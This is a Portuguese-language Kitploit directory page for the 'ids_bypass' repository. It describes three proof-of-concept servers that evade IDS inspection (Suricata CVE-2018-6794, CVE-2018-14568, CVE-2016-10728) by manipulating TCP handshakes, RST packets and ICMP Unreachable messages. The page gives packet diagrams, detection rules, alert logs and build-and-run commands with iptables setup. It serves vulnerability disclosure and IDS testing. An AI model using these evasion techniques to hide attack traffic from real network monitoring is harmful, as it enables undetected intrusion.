Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
ids_bypass — Truques de bypass de IDS | Kitploit
Ferramentas/GitHubGitHub/kirillwow/ids_bypass
ExploraçãoEvasão de IDS/IPSSegurança de RedeAprendizado e Educação
GitHubkirillwow/ids_bypass

ids_bypass

Truques de bypass de IDS

Ver Repositório
12124há 7 anosRevisado pelo Kitploit

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

Aviso Legal

Estes programas são APENAS para fins educacionais. Não os utilize sem permissão.

inject_server: Prova de Conceito para CVE-2018-6794.

Se, como servidor, você quebrar a ordem normal dos pacotes do handshake TCP de 3 vias e injetar alguns dados de resposta antes que o 3whs esteja completo, os dados ainda serão recebidos pelo cliente, mas alguns mecanismos de IDS podem ignorar as verificações de conteúdo nesses dados.

root@kitploit:~
Client    ->  [SYN] [Seq=0 Ack=0]           ->  Evil Server     # Client starts a TCP 3-way handshake
Client    <-  [SYN, ACK] [Seq=0 Ack=1]      <-  Evil Server     # Server responses as it should, but ...
Client    <-  [PSH, ACK] [Seq=1 Ack=1]      <-  Evil Server     # It sends HTTP response before the 3whs is completed
Client    <-  [FIN, ACK] [Seq=83 Ack=1]     <-  Evil Server     # Moreover it finishes TCP session 
Client    ->  [ACK] [Seq=1 Ack=84]          ->  Evil Server     # Client finishes TCP 3whs by sending ACK packet and confirms data from server
Client    ->  [PSH, ACK] [Seq=1 Ack= 4]     ->  Evil Server     # Then it sends a HTTP GET request as nothing wrong happened

O Suricata IDS < 4.0.4 é propenso a este problema: as assinaturas HTTP ou Stream-TCP não gerarão alertas sobre o conteúdo injetado. Não vemos nenhum alerta sobre dados de resposta HTTP maliciosa se aplicarmos as seguintes regras contra o tráfego de rede da PoC.

root@kitploit:~
alert tcp any any -> any any (msg: "TCP BEEN NO_STREAM RULE"; flow: no_stream; content: "been"; sid: 1; )
alert tcp any any -> any any (msg: "TCP BEEN ONLY_STREAM RULE"; flow: only_stream; content: "been"; sid: 2; )
alert http any any -> any any (msg: "HTTP BEEN RULE"; content: "been"; sid: 3; )
alert tcp any any -> any any (msg: "TCP GET NO_STREAM RULE"; flow: no_stream; content: "GET"; sid: 4; )
alert tcp any any -> any any (msg: "TCP GET ONLY_STREAM RULE"; flow: only_stream; content: "GET"; sid: 5; )
alert http any any -> any any (msg: "HTTP GET RULE"; content: "GET"; sid: 6; )

03/02/2018-11:08:13.012990  [**] [1:1:0] TCP BEEN NO_STREAM RULE [**] [Classification: (null)] [Priority: 3] {TCP} 192.168.235.101:80 -> 192.168.235.1:56581
03/02/2018-11:08:13.013610  [**] [1:4:0] TCP GET NO_STREAM RULE [**] [Classification: (null)] [Priority: 3] {TCP} 192.168.235.1:56581 -> 192.168.235.101:80
03/02/2018-11:08:13.018914  [**] [1:5:0] TCP GET ONLY_STREAM RULE [**] [Classification: (null)] [Priority: 3] {TCP} 192.168.235.1:56581 -> 192.168.235.101:80
03/02/2018-11:08:13.018914  [**] [1:6:0] HTTP GET RULE [**] [Classification: (null)] [Priority: 3] {TCP} 192.168.235.1:56581 -> 192.168.235.101:80

rst_server: Prova de Conceito para CVE-2018-14568.

Os clientes Windows são capazes de processar dados TCP mesmo que eles cheguem logo após um pacote TCP RST. Alguns IDSes processam isso corretamente e tentam corresponder dados após o RST, mas alguns param de inspecionar o fluxo TCP após receberem o RST.

root@kitploit:~
Client    ->  [SYN] [Seq=0 Ack=0]           ->  Evil Server     # Client starts a TCP 3-way handshake
Client    <-  [RST, ACK] [Seq=0x0 Ack=1]    <-  Evil Server     # Server responses with TCP RST
Client    <-  [SYN, ACK] [Seq=1 Ack=1]      <-  Evil Server     # And SYN-ACK shortly after RST
           ... 3whs continues ...

O Suricata IDS ainda é propenso a este problema: as assinaturas HTTP ou Stream-TCP não gerarão alertas nesta sessão TCP.

root@kitploit:~
alert tcp any any -> any any (msg: "TCP BEEN NO_STREAM RULE"; flow: no_stream; content: "been"; sid: 1; )
alert tcp any any -> any any (msg: "TCP BEEN ONLY_STREAM RULE"; flow: only_stream; content: "been"; sid: 2; )
alert http any any -> any any (msg: "HTTP BEEN RULE"; content: "been"; sid: 3; )
alert tcp any any -> any any (msg: "TCP GET NO_STREAM RULE"; flow: no_stream; content: "GET"; sid: 4; )
alert tcp any any -> any any (msg: "TCP GET ONLY_STREAM RULE"; flow: only_stream; content: "GET"; sid: 5; )
alert http any any -> any any (msg: "HTTP GET RULE"; content: "GET"; sid: 6; )

05/03/2018-19:13:43.270632  [**] [1:4:0] TCP GET NO_STREAM RULE [**] [Classification: (null)] [Priority: 3] {TCP} 192.168.235.1:53434 -> 192.168.235.101:80
05/03/2018-19:13:43.471128  [**] [1:1:0] TCP BEEN NO_STREAM RULE [**] [Classification: (null)] [Priority: 3] {TCP} 192.168.235.101:80 -> 192.168.235.1:53434

icmp_server: Prova de Conceito para CVE-2016-10728.

O servidor deve responder com uma mensagem ICMP do tipo "Destination Unreachable" código "Port Unreachable" se um pacote UDP foi enviado para uma porta UDP fechada. O IDS pode interpretar respostas ICMP Unreachable da mesma forma que pacotes TCP RST e interromper ou limitar a inspeção de tráfego deste fluxo UDP. Se uma resposta UDP normal seguir a mensagem ICMP, então o invasor contorna as verificações UDP do tráfego do seu servidor. Observe que clientes normais fecham conexões se um ICMP Dest. Unreachable for recebido, então trocamos endereços IP e portas UDP no UDP anexado à mensagem ICMP para que o cliente não aceite tal mensagem ICMP, mas o IDS aceite.

root@kitploit:~
Client    ->  [UDP Req]                  ->  Evil Server     # Client starts UDP session by sending a packet 
Client    <-  [ICMP] [Type=3, Code=3]    <-  Evil Server     # Server responses with *improved* ICMP Destination Unreachable first
Client    <-  [UDP Resp]                 <-  Evil Server     # And with UDP answer as usual

O Suricata IDS < 3.1.2 é propenso a este problema: as assinaturas UDP não corresponderão a pacotes do Servidor Malicioso.

root@kitploit:~
alert udp any any -> any any (msg: "UDP BEEN RULE"; content: "been"; sid: 1; )
alert udp any any -> any any (msg: "UDP HELLO RULE"; content: "hello"; sid: 2; )

05/03/2018-03:44:11.016635  [**] [1:2:0] UDP HELLO RULE [**] [Classification: (null)] [Priority: 3] {UDP} 192.168.235.100:46599 -> 192.168.235.101:80

Estas técnicas podem ser aplicadas a outras ferramentas e sistemas de Detecção de Intrusão ou Monitoramento de Rede.

Autor e Créditos

Kirill Shipulin da Positive Technologies (@kirill_wow) Slides da minha palestra no Hackfest 2018 disponíveis

Uso

root@kitploit:~
git clone https://github.com/kirillwow/ids_bypass.git
cd ids_bypass
make
# inject server
sudo iptables -A OUTPUT -p tcp --sport 80 --tcp-flags RST RST -j DROP
sudo ./inject_server # print help
sudo ./inject_server -i eno16777736 -p 80
# rst server
sudo iptables -A OUTPUT -p tcp -o eno16777736 --sport 80 -m owner --uid-owner 0 --tcp-flags RST RST -j ACCEPT
sudo iptables -A OUTPUT -p tcp -o eno16777736 --sport 80 --tcp-flags RST RST -j DROP
sudo ./rst_server # print help
sudo ./rst_server -i eno16777736 -p 80
# icmp server
sudo iptables -A OUTPUT -o eno16777736 -p icmp --icmp-type destination-unreachable -m owner --uid-owner 0 -j ACCEPT
sudo iptables -A OUTPUT -o eno16777736 -p icmp --icmp-type destination-unreachable -j DROP
sudo ./icmp_server # print help
sudo ./icmp_server -i eno16777736 -p 80

alt PoC

Baixar ferramenta